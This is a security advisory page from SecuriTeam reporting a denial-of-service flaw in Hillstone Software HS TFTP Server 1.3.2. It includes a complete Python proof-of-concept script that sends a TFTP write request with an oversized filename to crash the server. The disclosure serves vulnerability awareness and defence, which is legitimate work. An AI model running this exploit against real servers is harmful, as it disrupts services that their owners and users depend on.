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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Hillstone Software HS TFTP Server Denial Of Service Vulnerability 5 Feb. 2013    Summary Hillstone Software HS TFTP Server suffers from denial of service vulnerability   Credit: The information has been provided by FoX HaCkEr. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Hillstone Software HS TFTP 1.3.2 Hillstone Software HS TFTP Server version 1.3.2 is prone to a denial of service vulnerability. The vulnerability is caused due to improper validation of WRITE/READ Request Parameter containing long file name, which allows remote attackers to crash the service. Successful exploitation could allow an attacker to cause denial of service condition. References: ----------- http://secpod.org/blog/?p=419 http://www.hillstone-software.com/index.htm http://www.hillstone-software.com/hs_tftp_details.htm http://secpod.org/advisories/SecPod_Hillstone_Software_HS_TFTP_Server_DoS.txt http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py Proof of Concept: http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py POC : import socket,sys,time port = 69 target = raw_input("Enter host/target ip address: ") if not target: print "Host/Target IP Address is not specified" sys.exit(1) print "you entered ", target try: socket.inet_aton(target) except socket.error: print "Invalid IP address found ..." sys.exit(1) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) ## File name >= 222 length leads to crash exploit = "\x90" * 2222 mode = "binary" print "File name WRITE/READ crash" ## WRITE command = \x00\x02 data = "\x00\x02" + exploit + "\0" + mode + "\0" ## READ command = \x00\x01 ## data = "\x00\x01" + exploit + "\0" + mode + "\0" sock.sendto(data, (target, port)) time.sleep(2) sock.close() try: sock.connect() except: print "Remote TFTP server port is down..." sys.exit(1) Disclosure Timeline: Published: 2011-12-02  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Moodle WebDav Repository Plaintext Password Disclosure Vulnerability QuickShare File Share Directory Traversal Vulnerability ELinks Security Bypass Vulnerability BlazeDVD PLF Exploit DEP/ASLR Bypass (MSF) Vulnerability WebKit Web Audio Channel Handling Race Condition Buffer Overflow Vulnerability Verax NMS Console AMF Response Plaintext Connection Information Disclosure Vulnerability Simeji for Android Application Handling Information Disclosure Vulnerability Ptlib Entity Expansion Recursion XML Nested Entity Handling DoS Vulnerability ownCloud /core/settings/ajax/setquota.php quota Parameter XSS Vulnerability Nitro Pro PDF File Handling DoS Vulnerability MailOrderWorks Dispatch Order Multiple Field XSS Vulnerability Linux Kernel Dccp Subsystem Ccid Null Pointer Dereference Local DoS Vulnerability ISC DHCP libdns Unspecified Remote Memory Exhaustion DoS Vulnerability GroundWork Monitor Enterprise Noma Component Multiple XSS Vulnerability GroundWork Monitor Enterprise Foundation Admin Interface XSS Vulnerability Google Chrome Isolated Web Sites Process Handling Issue Vulnerability Google Android On Samsung Unprivileged Arbitrary SMS Message Sending Vulnerability FFmpeg Libavcodec/error Function NULL Pointer Dereference DoS Vulnerability Commons Groups Module for Drupal Group Access Restriction Bypass Vulnerability Cfingerd RFC1413 (Ident) Client Remote Overflow Vulnerability  Featured Articles Mozilla Multiple Product HTML Editor Function Use-after-free Arbitrary Code Execution Vulnerability Exim with Dovecot Typical Misconfiguration Leads to Remote Command Execution Vulnerability IBM InfoSphere Information Server Unspecified Arbitrary Site Redirect Vulnerability Cisco Unity Express /Web/SA2/ScriptList.do gui_pagenotableData Parameter XSS Vulnerability Supportworks ITSM SQL Injection Vulnerability WirelessFiles for iPad/iPhone Multiple File Extension Upload Arbitrary Script Code Execution Vulnerability IBM InfoSphere Information Server Import Export Manager Path Subversion Arbitrary DLL Injection Code Execution Vulnerability CommentLuv Plugin for WordPress /wp-admin/admin-ajax.php _ajax_nonce Parameter XSS Vulnerability ownCloud Multiple Script Multiple Administrator Action CSRF Vulnerability IBM Multiple Product XSS Vulnerability TLS / DTLS Protocol CBC-Mode Ciphersuite Distinguishing Attack Information Disclosure Weakness Vulnerability JBoss Enterprise Application Platform / JBoss Enterprise Web Platform JMX Invoker Roll Restriction Weakness Vulnerability Google AD Sync Tool Exposure Of Sensitive Information Vulnerability VMware Multiple Product vmci.sys VMCI Control Code Handling Local Privilege Escalation Vulnerability Cisco Unity Express /Web/SA/SaveConfiguration.do Multiple Action CSRF Vulnerability AdPeeps /adpeeps_servlet.php Bannertext Parameter XSS Vulnerability Oracle Application Framework Diagnostic Mode Bypass Vulnerability Nero MediaHome NMMediaServer.dll Long Request Line Off-By-One Overflow Vulnerability Samba Samba Web Administration Tool (SWAT) Manipulation CSRF Vulnerability Adobe Flash Player And AIR Context Dependent Attacker Buffer Overflow Vulnerability
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